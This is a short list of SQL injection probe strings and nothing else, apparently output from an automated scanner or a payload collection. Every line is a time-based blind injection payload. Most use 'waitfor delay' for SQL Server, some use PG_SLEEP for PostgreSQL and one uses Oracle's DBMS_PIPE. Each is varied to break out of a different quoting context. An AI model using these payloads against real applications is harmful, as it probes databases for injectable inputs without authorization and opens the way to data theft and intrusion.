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-1; waitfor delay '0:0:15' --

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-1); waitfor delay '0:0:15' --

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-1 waitfor delay '0:0:15' --

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S19r0Ok8'; waitfor delay '0:0:15' --

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b5y0ebyQ'); waitfor delay '0:0:15' --

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Y9cQjMoI')); waitfor delay '0:0:15' --

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8PGLn2BU' OR 789=(SELECT 789 FROM PG_SLEEP(15))--

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OWBaoyfX') OR 386=(SELECT 386 FROM PG_SLEEP(15))--

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gAkViFDw')) OR 737=(SELECT 737 FROM PG_SLEEP(15))--

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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'